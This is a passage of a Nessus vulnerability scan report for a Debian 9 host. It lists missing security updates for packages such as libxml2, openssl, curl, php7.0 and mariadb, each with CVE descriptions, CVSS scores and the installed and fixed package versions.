CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2020-14363
XREF	IAVB:2020-B-0051

Plugin Information

Published: 2020/09/02, Modified: 2024/02/22

Plugin Output

tcp/0

```
Remote package installed : libx11-6_2:1.6.4-3+deb9u1
Should be : libx11-6_2:1.6.4-3+deb9u3
Remote package installed : libx11-data_2:1.6.4-3+deb9u1
Should be : libx11-data_2:1.6.4-3+deb9u3
```

140469 - Debian DLA-2369-1 : libxml2 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several security vulnerabilities were corrected in libxml2, the GNOME XML library.

CVE-2017-8872

Global buffer-overflow in the htmlParseTryOrFinish function.

CVE-2017-18258

The xz_head function in libxml2 allows remote attackers to cause a denial of service (memory consumption) via a crafted LZMA file, because the decoder functionality does not restrict memory usage to what is required for a legitimate file.

CVE-2018-14404

A NULL pointer dereference vulnerability exists in the xpath.c:xmlXPathCompOpEval() function of libxml2 when parsing an invalid XPath expression in the XPATH_OP_AND or XPATH_OP_OR case.
Applications processing untrusted XSL format inputs may be vulnerable to a denial of service attack.

CVE-2018-14567

If the option --with-lzma is used, allows remote attackers to cause a denial of service (infinite loop) via a crafted XML file.

CVE-2019-19956

The xmlParseBalancedChunkMemoryRecover function has a memory leak related to newDoc->oldNs.

CVE-2019-20388

A memory leak was found in the xmlSchemaValidateStream function of libxml2. Applications that use this library may be vulnerable to memory not being freed leading to a denial of service.

CVE-2020-7595

Infinite loop in xmlStringLenDecodeEntities can cause a denial of service.

CVE-2020-24977

Out-of-bounds read restricted to xmllint --htmlout.

For Debian 9 stretch, these problems have been fixed in version 2.9.4+dfsg1-2.2+deb9u3.

We recommend that you upgrade your libxml2 packages.

For the detailed security status of libxml2 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libxml2

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00009.html
https://packages.debian.org/source/stretch/libxml2
https://security-tracker.debian.org/tracker/source-package/libxml2

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-18258
CVE	CVE-2017-8872
CVE	CVE-2018-14404
CVE	CVE-2018-14567
CVE	CVE-2019-19956
CVE	CVE-2019-20388
CVE	CVE-2020-24977
CVE	CVE-2020-7595

Plugin Information

Published: 2020/09/10, Modified: 2024/02/21

Plugin Output

tcp/0

```
Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u2
Should be : libxml2_2.9.4+dfsg1-2.2+deb9u3
```

140804 - Debian DLA-2378-1 : openssl1.0 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Robert Merget, Marcus Brinkmann, Nimrod Aviram, and Juraj Somorovsky discovered that certain Diffie-Hellman ciphersuites in the TLS specification and implemented by OpenSSL contained a flaw. A remote attacker could possibly use this issue to eavesdrop on encrypted communications. This was fixed in this update by disabling the insecure ciphersuites.

For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u2.

We recommend that you upgrade your openssl1.0 packages.

For the detailed security status of openssl1.0 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openssl1.0

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00016.html
https://packages.debian.org/source/stretch/openssl1.0
https://security-tracker.debian.org/tracker/source-package/openssl1.0

Solution

Upgrade the affected libssl1.0-dev, and libssl1.0.2 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-1968
XREF	CEA-ID:CEA-2021-0004

Plugin Information

Published: 2020/09/28, Modified: 2024/02/20

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u2
```

140807 - Debian DLA-2381-1 : lua5.3 security update -

Synopsis

The remote Debian host is missing a security update.

Description

A vulnerability was discovered in lua5.3, a simple, extensible, embeddable programming language whereby a a negation overflow and segmentation fault could be triggered in getlocal and setlocal, as demonstrated by getlocal(3,2^31).

For Debian 9 stretch, this problem has been fixed in version 5.3.3-1+deb9u1.

We recommend that you upgrade your lua5.3 packages.

For the detailed security status of lua5.3 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/lua5.3

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00019.html
https://packages.debian.org/source/stretch/lua5.3
https://security-tracker.debian.org/tracker/source-package/lua5.3

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-24370

Plugin Information

Published: 2020/09/28, Modified: 2024/02/20

Plugin Output

tcp/0

```
Remote package installed : liblua5.3-0_5.3.3-1
Should be : liblua5.3-0_5.3.3-1+deb9u1
```

140808 - Debian DLA-2382-1 : curl security update -

Synopsis

The remote Debian host is missing a security update.

Description

An issue has been found in curl, a command line tool for transferring data with URL syntax. In rare circumstances, when using the multi API of curl in combination with CURLOPT_CONNECT_ONLY, the wrong connection might be used when transfering data later.

For Debian 9 stretch, this problem has been fixed in version 7.52.1-5+deb9u12.

We recommend that you upgrade your curl packages.

For the detailed security status of curl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/curl

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00020.html
https://packages.debian.org/source/stretch/curl
https://security-tracker.debian.org/tracker/source-package/curl

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2020-8231
XREF	IAVA:2020-A-0389-S

Plugin Information

Published: 2020/09/28, Modified: 2024/02/20

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u12
Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u12
```

```
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u12
```

141247 - Debian DLA-2397-1 : php7.0 security update -

Synopsis

The remote Debian host is missing a security update.

Description

A vulnerability was discovered in PHP, a server-side, HTML-embedded scripting language. When PHP is processing incoming HTTP cookie values, the cookie names are url-decoded. This may lead to cookies with prefixes like __Host confused with cookies that decode to such prefix, thus leading to an attacker being able to forge a cookie which is supposed to be secure.

For Debian 9 stretch, this problem has been fixed in version 7.0.33-0+deb9u10.

We recommend that you upgrade your php7.0 packages.

For the detailed security status of php7.0 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/php7.0

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/10/msg00008.html
https://packages.debian.org/source/stretch/php7.0
https://security-tracker.debian.org/tracker/source-package/php7.0

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-7070
XREF	IAVA:2020-A-0445-S

Plugin Information

Published: 2020/10/07, Modified: 2024/02/16

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u10
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u10
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u10
Remote package installed : php7.0-common_7.0.33-0+deb9u3
```

```
Should be : php7.0-common_7.0.33-0+deb9u10
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u10
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u10
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u10
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u10
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u10
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u10
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u10
```

141794 - Debian DLA-2409-1 : mariadb-10.1 security update -

Synopsis

The remote Debian host is missing a security update.

Description

A security issue was discovered in the MariaDB database server.

For Debian 9 stretch, this problem has been fixed in version 10.1.47-0+deb9u1.

We recommend that you upgrade your mariadb-10.1 packages.

For the detailed security status of mariadb-10.1 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/mariadb-10.1

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/10/msg00021.html
https://packages.debian.org/source/stretch/mariadb-10.1
http://www.nessus.org/u?708f0173

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-15180

Plugin Information

Published: 2020/10/22, Modified: 2021/06/14

Plugin Output

tcp/0

```
Remote package installed : libmariadbclient18_10.1.37-0+deb9u1
Should be : libmariadbclient18_10.1.47-0+deb9u1
```

```
Remote package installed : mariadb-client-10.1_10.1.37-0+deb9u1
Should be : mariadb-client-10.1_10.1.47-0+deb9u1
Remote package installed : mariadb-client-core-10.1_10.1.37-0+deb9u1
Should be : mariadb-client-core-10.1_10.1.47-0+deb9u1
Remote package installed : mariadb-common_10.1.37-0+deb9u1
Should be : mariadb-common_10.1.47-0+deb9u1
Remote package installed : mariadb-server-10.1_10.1.37-0+deb9u1
Should be : mariadb-server-10.1_10.1.47-0+deb9u1
Remote package installed : mariadb-server-core-10.1_10.1.37-0+deb9u1
Should be : mariadb-server-core-10.1_10.1.47-0+deb9u1
```

141910 - Debian DLA-2415-1 : freetype security update -

Synopsis

The remote Debian host is missing a security update.

Description

Sergei Glazunov discovered a heap-based buffer overflow vulnerability in the handling of embedded PNG bitmaps in FreeType. Opening malformed fonts may result in denial of service or the execution of arbitrary code.

For Debian 9 stretch, this problem has been fixed in version 2.6.3-3.2+deb9u2.

We recommend that you upgrade your freetype packages.

For the detailed security status of freetype please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/freetype

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/10/msg00026.html
https://packages.debian.org/source/stretch/freetype
https://security-tracker.debian.org/tracker/source-package/freetype

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.2 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2020-15999
XREF	CISA-KNOWN-EXPLOITED:2021/11/17
XREF	CEA-ID:CEA-2020-0124

Plugin Information

Published: 2020/10/26, Modified: 2025/02/06

Plugin Output

tcp/0

```
Remote package installed : libfreetype6_2.6.3-3.2
Should be : libfreetype6_2.6.3-3.2+deb9u2
```

142616 - Debian DLA-2437-1 : krb5 security update -

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that there was a denial of service vulnerability in the MIT Kerberos network authentication system, krb5. The lack of a limit in the ASN.1 decoder could lead to infinite recursion and allow an attacker to overrun the stack and cause the process to crash.

For Debian 9 'Stretch', this problem has been fixed in version 1.15-1+deb9u2.

We recommend that you upgrade your krb5 packages.

For the detailed security status of krb5 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/krb5

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/11/msg00011.html
https://packages.debian.org/source/stretch/krb5
https://security-tracker.debian.org/tracker/source-package/krb5

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-28196
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2020/11/09, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : krb5-locales_1.15-1+deb9u1
Should be : krb5-locales_1.15-1+deb9u2
```

143104 - Debian DLA-2456-1 : python3.5 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple security issues were discovered in Python.

CVE-2019-20907

In Lib/tarfile.py, an attacker is able to craft a TAR archive leading to an infinite loop when opened by tarfile.open, because _proc_pax lacks header validation

CVE-2020-26116

http.client allows CRLF injection if the attacker controls the HTTP request method

For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u3.

We recommend that you upgrade your python3.5 packages.

For the detailed security status of python3.5 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/python3.5

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/11/msg00032.html
https://packages.debian.org/source/stretch/python3.5
https://security-tracker.debian.org/tracker/source-package/python3.5

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.2 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-20907
CVE	CVE-2020-26116

Plugin Information

Published: 2020/11/19, Modified: 2024/02/08

Plugin Output

tcp/0

```
Remote package installed : libpython3.5-minimal_3.5.3-1+deb9u1
Should be : libpython3.5-minimal_3.5.3-1+deb9u3
Remote package installed : libpython3.5-stdlib_3.5.3-1+deb9u1
Should be : libpython3.5-stdlib_3.5.3-1+deb9u3
Remote package installed : python3.5_3.5.3-1+deb9u1
Should be : python3.5_3.5.3-1+deb9u3
Remote package installed : python3.5-minimal_3.5.3-1+deb9u1
Should be : python3.5-minimal_3.5.3-1+deb9u3
```

143308 - Debian DLA-2467-2 : lxml regression update -

Synopsis

The remote Debian host is missing a security update.

Description

The fix for CVE-2020-27783, released as DLA 2467-1, was incomplete as the <math/svg> component was still affected by the vulnerability. This update includes an additional patch that completes the fix. Note that a package with version 3.7.1-1+deb9u2 was uploaded, but before the publication of the advisory a regression was discovered, which was immediately corrected prior to publication of this advisory.

For Debian 9 stretch, this problem has been fixed in version 3.7.1-1+deb9u3.

We recommend that you upgrade your lxml packages.

For the detailed security status of lxml please refer to its security tracker page at: https://security-tracker.debian.org/tracker/lxml

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00028.html
https://packages.debian.org/source/stretch/lxml
https://security-tracker.debian.org/tracker/source-package/lxml

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

CVSS v3.0 Temporal Score

5.5 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2020-27783

Plugin Information

Published: 2020/11/30, Modified: 2024/02/08

Plugin Output

tcp/0

```
Remote package installed : python-lxml_3.7.1-1
Should be : python-lxml_3.7.1-1+deb9u3
```

143518 - Debian DLA-2481-1 : openldap security update -

Synopsis

The remote Debian host is missing a security update.

Description

Two vulnerabilities in the certificate list syntax verification and in the handling of CSN normalization were discovered in OpenLDAP, a free implementation of the Lightweight Directory Access Protocol. An unauthenticated remote attacker can take advantage of these flaws to cause a denial of service (slapd daemon crash) via specially crafted packets.

For Debian 9 stretch, these problems have been fixed in version 2.4.44+dfsg-5+deb9u6.

We recommend that you upgrade your openldap packages.

For the detailed security status of openldap please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openldap

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00008.html
https://packages.debian.org/source/stretch/openldap
https://security-tracker.debian.org/tracker/source-package/openldap

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-25709
CVE	CVE-2020-25710

Plugin Information

Published: 2020/12/07, Modified: 2021/04/20

Plugin Output

tcp/0

```
Remote package installed : libldap-2.4-2_2.4.44+dfsg-5+deb9u2
Should be : libldap-2.4-2_2.4.44+dfsg-5+deb9u6
Remote package installed : libldap-common_2.4.44+dfsg-5+deb9u2
Should be : libldap-common_2.4.44+dfsg-5+deb9u6
```

144029 - Debian DLA-2487-1 : apt security update

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that missing input validation in the ar/tar implementations of APT, the high level package manager, could cause out-of-bounds reads or infinite loops, resulting in denial of service when processing malformed deb files.

For Debian 9 stretch, this problem has been fixed in version 1.4.11.

We recommend that you upgrade your apt packages.

For the detailed security status of apt please refer to its security tracker page at: https://security-tracker.debian.org/tracker/apt

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00013.html

https://packages.debian.org/source/stretch/apt
https://security-tracker.debian.org/tracker/source-package/apt

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-27350

Plugin Information

Published: 2020/12/10, Modified: 2024/02/02

Plugin Output

tcp/0

```
Remote package installed : apt_1.4.9
Should be : apt_1.4.11
Remote package installed : apt-utils_1.4.9
Should be : apt-utils_1.4.11
Remote package installed : libapt-inst2.0_1.4.9
Should be : libapt-inst2.0_1.4.11
Remote package installed : libapt-pkg5.0_1.4.9
Should be : libapt-pkg5.0_1.4.11
```

144152 - Debian DLA-2491-1 : openexr security update -

Synopsis

The remote Debian host is missing a security update.

Description

Two issues were discovered in openexr, a set of tools to manipulate OpenEXR image files, often in the computer-graphics industry for visual effects and animation.

For Debian 9 'Stretch', these problems has been fixed in version 2.2.0-11+deb9u2.

We recommend that you upgrade your openexr packages.

For the detailed security status of openexr please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openexr

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00019.html
https://packages.debian.org/source/stretch/openexr
https://security-tracker.debian.org/tracker/source-package/openexr

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-16588
CVE	CVE-2020-16589

Plugin Information

Published: 2020/12/14, Modified: 2024/02/02

Plugin Output

tcp/0

```
Remote package installed : libopenexr22_2.2.0-11+b1
Should be : libopenexr22_2.2.0-11+deb9u2
```

144264 - Debian DLA-2492-1 : openssl security update -

Synopsis

The remote Debian host is missing a security update.

Description

David Benjamin discovered a flaw in the GENERAL_NAME_cmp() function which could cause a NULL dereference, resulting in denial of service.

For Debian 9 stretch, this problem has been fixed in version 1.1.0l-1~deb9u2.

We recommend that you upgrade your openssl packages.

For the detailed security status of openssl please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openssl

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00020.html
https://packages.debian.org/source/stretch/openssl
https://security-tracker.debian.org/tracker/source-package/openssl

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-1971
XREF	IAVA:2020-A-0566-S
XREF	CEA-ID:CEA-2021-0004
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2020/12/15, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0l-1~deb9u2
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0l-1~deb9u2
```

144262 - Debian DLA-2493-1 : openssl1.0 security update -

Synopsis

The remote Debian host is missing a security update.

Description

David Benjamin discovered a flaw in the GENERAL_NAME_cmp() function which could cause a NULL dereference, resulting in denial of service.

For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u3.

We recommend that you upgrade your openssl1.0 packages.

For the detailed security status of openssl1.0 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openssl1.0

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00021.html
https://packages.debian.org/source/stretch/openssl1.0
https://security-tracker.debian.org/tracker/source-package/openssl1.0

Solution

Upgrade the affected libssl1.0-dev, and libssl1.0.2 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-1971
XREF	IAVA:2020-A-0566-S
XREF	CEA-ID:CEA-2021-0004
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2020/12/15, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u3
```

144497 - Debian DLA-2500-1 : curl security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in curl, a command line tool for transferring data with URL syntax and an easy-to-use client-side URL transfer library.

CVE-2020-8284

When curl performs a passive FTP transfer, it first tries the EPSV command and if that is not supported, it falls back to using PASV.
Passive mode is what curl uses by default. A server response to a PASV command includes the (IPv4) address and port number for the client to connect back to in order to perform the actual data transfer. This is how the FTP protocol is designed to work. A malicious server can use the PASV response to trick curl into connecting back to a given IP address and port, and this way potentially make curl extract information about services that are otherwise private and not disclosed, for example doing port scanning and service banner extractions.

The IP address part of the response is now ignored by default, by making CURLOPT_FTP_SKIP_PASV_IP default to 1L instead of previously being 0L. This has the minor drawback that a small fraction of use cases might break, when a server truly needs the client to connect back to a different IP address than what the control connection uses and for those CURLOPT_FTP_SKIP_PASV_IP can be set to 0L. The same goes for the command line tool, which then might need

--no-ftp-skip-pasv-ip set to prevent curl from ignoring the address in the server response.

CVE-2020-8285

libcurl offers a wildcard matching functionality, which allows a callback (set with CURLOPT_CHUNK_BGN_FUNCTION) to return information back to libcurl on how to handle a specific entry in a directory when libcurl iterates over a list of all available entries. When this callback returns CURL_CHUNK_BGN_FUNC_SKIP, to tell libcurl to not deal with that file, the internal function in libcurl then calls itself recursively to handle the next directory entry. If there's a sufficient amount of file entries and if the callback returns 'skip'
enough number of times, libcurl runs out of stack space. The exact amount will of course vary with platforms, compilers and other environmental factors. The content of the remote directory is not kept on the stack, so it seems hard for the attacker to control exactly what data that overwrites the stack - however it remains a denial of service vector as a malicious user who controls a server that a libcurl-using application works with under these premises can trigger a crash.

The internal function is rewritten to instead and more appropriately use an ordinary loop instead of the recursive approach. This way, the stack use will remain the same no matter how many files that are skipped.

CVE-2020-8286

libcurl offers 'OCSP stapling' via the CURLOPT_SSL_VERIFYSTATUS option. When set, libcurl verifies the OCSP response that a server responds with as part of the TLS handshake. It then aborts the TLS negotiation if something is wrong with the response. The same feature can be enabled with --cert-status using the curl tool. As part of the OCSP response verification, a client should verify that the response is indeed set out for the correct certificate. This step was not performed by libcurl when built or told to use OpenSSL as TLS backend.
This flaw would allow an attacker, who perhaps could have breached a TLS server, to provide a fraudulent OCSP response that would appear fine, instead of the real one. Like if the original certificate actually has been revoked.

The OCSP response checker function now also verifies that the certificate id is the correct one.

For Debian 9 stretch, these problems have been fixed in version 7.52.1-5+deb9u13.

We recommend that you upgrade your curl packages.

For the detailed security status of curl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/curl

